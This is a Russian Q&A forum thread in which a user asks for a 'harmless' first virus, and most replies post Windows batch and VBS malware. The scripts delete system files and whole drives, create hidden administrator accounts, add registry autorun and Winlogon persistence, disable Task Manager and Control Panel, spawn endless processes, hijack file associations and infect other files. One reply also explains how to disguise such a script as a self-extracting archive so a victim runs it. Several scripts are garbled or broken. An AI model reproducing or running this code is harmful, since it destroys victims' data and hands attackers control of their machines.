Другие языки программирования и технологии

Помогите написать первый вирус

Дайте очень подробную и понятную инструкцию для новичка.
Я хочу сделать безобидненький вирус, самый простейший, который просто выдаст всплывающее окно со словом "Привет",например )
И который потом откроет CD-Rom
Думаю, вы мне поможете. В должниках не останусь ;-)
РА
Руха Абх
145
Писать будем bat файл в обычном виндовом блокноте. Создаем файл и пишем.

@Echo off (запрещаем вывод на экран исполняемых команд)
Echo Virus Loading (Выводит на экран надпись «Virus Loading» В место нее можете писать что угодно)
Date 13.09.96 (эта строка изменяет дату)
If exist c:ski.bat goto abc (проверяет существует ли файл, …..)
Copy %0 c:ski.bat (копирует вирус только изменив названия)
Attrib +h c:ski.bat ( делает файлу ski.bat атрибут скрытый
Echo c:ski.bat >>autoexec.bat (Прописывает файл ski.bat в автозагрузку
:abc ( ……если он существует, то программа перейдет на метку :abc)
md PRIDUROK
md LUZER
md DURAK (Создает пустые папки)
md LAMER
Label E: PRIDUROK (CD-ROM будет называться PRIDUROK)
assoc .exe=.mp3 (запускает все ексшники как музыка
del c:Program Files/q (удаляет все файлы из этой папки)
Echo VIRUS LOAD (Выводит надпись)

Итак мы написали простой вирус. Теперь нажимаем ФАЙЛ>>СОХРАНИТЬ КАК, и в поле имя файла пишем, например virus.bat
.bat обязательна везде. Появился значок MS-DOS. Так что бы жертва не смогла увидеть его код будем использовать WIinRar. Берем наш вирусочек и кидаем его в архив вылетит окно и ты просто ставишь галочку «создать SFX-архив. Далее заходим в дополнительное и открываем параметры SFX там есть строка выполнить после распаковки и ты пишешь РЕАЛЬНОЕ имя твоего вируса. Видишь простой блокнот вступил как вирусосаздатель, а WinRar сделал якобы программу…. выводы делать тебе. И смотри непопадись сам на это. Не принимай файлы в инете от незнакомых людей и смотри на размер файла.
Юрий Далидович
Юрий Далидович
112
Лучший ответ
Вирус, по определению - эта программа, внедряющая свой код в тело других программ. Тебе нужно именно это, или просто напиcать приложение под Windows? C внедрением сложно, поэтому "подробно и понятно" не получится. Если новичок - учись самостоятельно, информации навалом в Сети
Юрий Головлев
Юрий Головлев
74 067
do
msgbox "лох"
loop

(vbs)
Вирус по определению - код самораспространяющийся на локальной машине или в сети....
AS
Aibek Smagul
871
вирусы легко делать особенно чтобы компу кранты
Я дам вам ссылку на скачивания текстового документа нам написан код для вируса шутки еффект от него будет в том что будут бесконечно открываться окна чтобы его остановить нужно перезагрузить компьютер и обезательно чтобы он работал нужно поменять с расширения .txt поменять на .bat и тогда чтобы это происходило нужно запустить этот файл https://drive.google.com/file/d/1odmGYIla588JQu0UacU5Uh9kTCvzjlLQ/view?usp=sharing
Вопрос : напишите код Вируса что бы при его открытии ПРИНТЕР начал печатать
1 - ваш текст
2 - Указать количество листов или 3 или 500000

@echo off
очень простой вирус, который открывает окно, которое невозможно закрыть (в блокноте)
@echo off
CLS
:A
start iexplore.exe
goto A
echo Fatal Error. Virus Detected!
pause

После чего сохраняем его на рабочий стол и вместо .txt в названии пишем .bat
Потом у вас на рабочем столе должен появиться батник после открытия которого сработает вирус
@echo off
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:DURAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul ВНИМАНИЕ ЭТО ОЧЕНЬ МОЩНЫЙ ВИРУС (НЕ СМЕРТЕЛЬНЫЙ, НО ВСЕ ЖЕ) меняет кнопки мыши местами, создает 27 папок, меняет названия локальных дисков, копирует себя на них, добавляет пользователей компа, меняет ассоциации файлов lnk и exe, добавляется в автозагрузку, запускает paint и калькулятор. Ах да, ПЕРЕЗАГРУЗКА НЕ ПОМОЖЕТ, поэтому не использовать на своем компьютере.
Вот мой вирус который ламает систему за доли секунд, но не за доли, но если вы его откроете то больше не увидите компютера... Сам я его назвал
@echo off
color 02
start cmd
Data %random%
time %random% если не идет то например 22:38 или любое время
start cmd

reg add "hklm\software\microsoft\windows\currentversion\run" /v "Admin" /t reg_sz /d D:\\название батника твоего
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul не дает открыть дистпетчер задач, запретить запуск реестра.
taskill explorer
md %random% и так можешь повторить раз 1000
color 4
REN "переименование" название твоего батник> в другое название любое какое захочешь если будешь шифровать
MOVE перемещение в папку или на диск
md %random%
echo Сообщение "Вирус атакует компютер" ток на англ пиши
start cmd
start cmd
:start
start cmd
goto start
Все, винды ты неувидишь :)
JA
Jonibek Aminov
209
могу посоветовать легкий вирус для краша компа

@echo off
CLS
:A
start iexplore.exe
goto A
echo Fatal Error.C:// directory corrupted!
pause
Зачем?
ну и ну, когда это исполняемые скрипты на языке пакетных команд Windows, с расширением .bat стали быть вирусами?
обычные команды, конечно можно назвать некоторые команды вредоносными, но бат файлы все таки не являются вирусами сами по себе
Смотря какой вирус.
Сейчас объясню

Простенькие вирусы:
Убирает рабочий стол

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
Выключается компьютер

@echo off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера
@echo off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul

Удаление дров
@echo off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows
@echo off
del "%SystemRoot%\Media" /q >nu
Запрещает заходить в панель управления

@echo off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul
Запрещает комбинацию Ctrl-Alt-Delete

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши
del "%SystemRoot%Cursors*.*" >nul

Меняет название корзины

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F
Убирает панель управления

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
Серьезные вирусы:
Удаляет ВСЕ с раздела\диска (не пытайтесь проверить у себя)
rd [Буква_Диск]: /s /q
Удаляет все файлы в program files
del c:Program Files/q
Убивает процесс explorer.exe
taskkill /f /im explorer.exe >nul
Создает миллион папок
FOR /L %%i IN (1,1,1000000) DO md %%i
Удаляет все драйвера, которые установлены на компьютере
del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul
Удаляет команду DEL
del %0
Будет открывать бесконечно Paint

:x
Start mspaint
goto x
Изменяет расширение всех ярлыков на .txt
assoc .lnk=.txt
Заражает Autoexec
copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя с правами администратора логин: hacker и пароль hack (Можете изменить)
@echo off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,disableoemlayer

Меняет местами кнопки мыши, но обратная смена не возможна)
rundll32 user,SwapMouseButton

Удаляет ядро системы
del %systemroot%\system32\HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и над каталоге)
@echo off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Это не всё, но я не смогу написать больше сори :c Надеюсь помог
CO
Calvin Obam
127
Будем создавать .bat
Легкий вирус:
@Echo off
start explorer.exe
md lox
md Virus
md Load
Echo c:sky.bat >>autoexec.bat
del *.* /q
Label E: LUZER
copy %0 c:virus.bat >nul
attrib +h c:virus.bat >nul
end
Средний вирус:
@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
md lol
md Virus
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
del "%SystemRoot%\Media" /q >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul
del "%SystemRoot%Cursors*.*" >nul
end
Сложный вирус после перезапускка вирус блокирует всю винду пароль 200393 не помагает!
@echo off
CHCP 1251
cls
Set Yvaga=На вашем компьютере найден вирус.
Set pass=Пароль
Set pas=Введите пароль.
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль
Set dim=Выключаю вирус...
title Внимание!!!
CHCP 866
IF EXIST C:\windows\boot.bat (
goto ok )
cls
IF NOT EXIST C:\windows\boot.bat (
ECHO Windows Registry Editor Version 5.00 >> C:\0.reg
ECHO. >> C:\0.reg
ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >> C:\0.reg
ECHO. >> C:\0.reg
ECHO "Shell"="Explorer.exe, C:\\windows\\boot.bat " >> C:\0.reg
start/wait regedit -s C:\0.reg
del C:\0.reg
ECHO @echo off >>C:\windows\boot.bat
ECHO C:\WINDOWS\system32\taskkill.exe /f /im Explorer.exe >>C:\windows\boot.bat
ECHO reg add "HKCU\software\Microsoft\Windows\CurrentVersion\Policies\system" /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:\windows\boot.bat
ECHO start sys.bat >>C:\windows\boot.bat
attrib +r +a +s +h C:\windows\boot.bat
copy virus.bat c:\windows\sys.bat
attrib +r +a +s +h C:\windows\sys.bat
GOTO end)
:ok
cls
Echo %Yvaga%
echo.
echo %virus%
echo %pas%
set /a choise = 0
set /p choise=%pass%:
if "%choise%" == "101" goto gold
if "%choise%" == "200393" goto status
exit
:status
echo %dim%
attrib -r -a -s -h C:\windows\boot.bat
del C:\windows\boot.bat
attrib -r -a -s -h C:\windows\sys.bat
del C:\windows\sys.bat
cls
:gold
start C:\
:end
@Echo off
Echo GLaDOS installing
del c:Program Files/q
Label E: PRIDUROK
Echo c:ski.bat >>autoexec.bat
assoc .exe=.mp3
Echo Acceess Granted
Copy %0 c:ski.bat
Attrib +h c:ski.bat
@echo off
color 02
start cmd
Data %random% 10.05.2003
time %random% 20:48
start cmd

reg add "hklm\software\microsoft\windows\currentversion\run" /v "Admin" /t reg_sz /d D:\\название батника твоего
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Pol icies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul не дает открыть дистпетчер задач, запретить запуск реестра.
taskill explorer
md %random% и так можешь повторить раз 1000
color 4
REN bootres.dll
MOVE Resources
start cmd
start cmd
:start
start cmd
goto start
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
time 0:00 >nul
date 13.06.23 >nul
label C:IDIOT >nul
label D:DURAK >nul
label E:SUKA >nul
label F:GANDON >nul
copy %0 C:\Open.bat >nul
copy %0 D:\Open.bat >nul
copy %0 E:\Open.bat >nul
copy %0 F:\Open.bat >nul
net user "Idiot you Hacked" /add >nul
net user "Bitch you Hacked" /add >nul
net user "Durak you Hacked" /add >nul
net user "Kritin you Hacked" /add >nul
net user "Gavno you Hacked" /add >nul
md 1 >nul
md 2 >nul
md 3 >nul
md 4 >nul
md 5 >nul
md 6 >nul
md 7 >nul
md 8 >nul
md 9 >nul
md 10 >nul
md 11 >nul
md 12 >nul
md 13 >nul
md 14 >nul
md 15 >nul
md 16 >nul
md 17 >nul
md 18 >nul
md 19 >nul
md 20 >nul
md 21 >nul
md 22 >nul
md 23 >nul
md 24 >nul
md 25 >nul
md 26 >nul
md 27 >nul
assoc .lnk=.txt >nul
assoc .exe=.txt >nul
:x ;
Start mspaint
goto x ;
:x ;
Start Calc
goto x ;
copy ""%0"" "%SystemRoot%\system32\Cool.bat" >nul
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Cool" /t REG_SZ /d "%SystemRoot%\system32\Cool.bat" /f >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
del %0 >nul

раз два и компа как не бывало
птаиаррррррпа
Здраствуйте, вот мой вирус все вы его знаете так что я его сам ещё дорабатываю.
Не бойтес вирус вам ни как не навридит даже сис не сломает.

msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
msgbox"Что будет в середине",16,"Название окна"
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
TheEnd.
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Это простой вирус, который заставляет компьютер дать ошибку.
Сохранить как (имя файла. VBS)

Option Explicit Dim WSHShell Set WSHShell=Wscript.CreateObject(“Wscript.Shell”) Dim x For x = 1 to 100000000 WSHShell.Run “Tourstart.exe” Next

есть ещё
Вот образец одной из самых надоедливых программ и ее код:

@echo off
:a
start notepad
goto a

Все, что она делает - открывает Блокнот бесконечное количество раз до тех пор, пока вы не закроете окно командной строки. Не запускайте ее на компьютере без присмотра - это может плохо закончиться.
Это упрощенный вариант метода 1, рассмотренного выше.
Экспериментируйте с разными командами! Если вы хотите сделать шутку зловредной, примените команду, которая удаляет файлы или стирает весь жесткий диск. Но я вам ее не скажу, потому что находятся неудачники, которые делают это со своим компьютером, а во всем винят меня!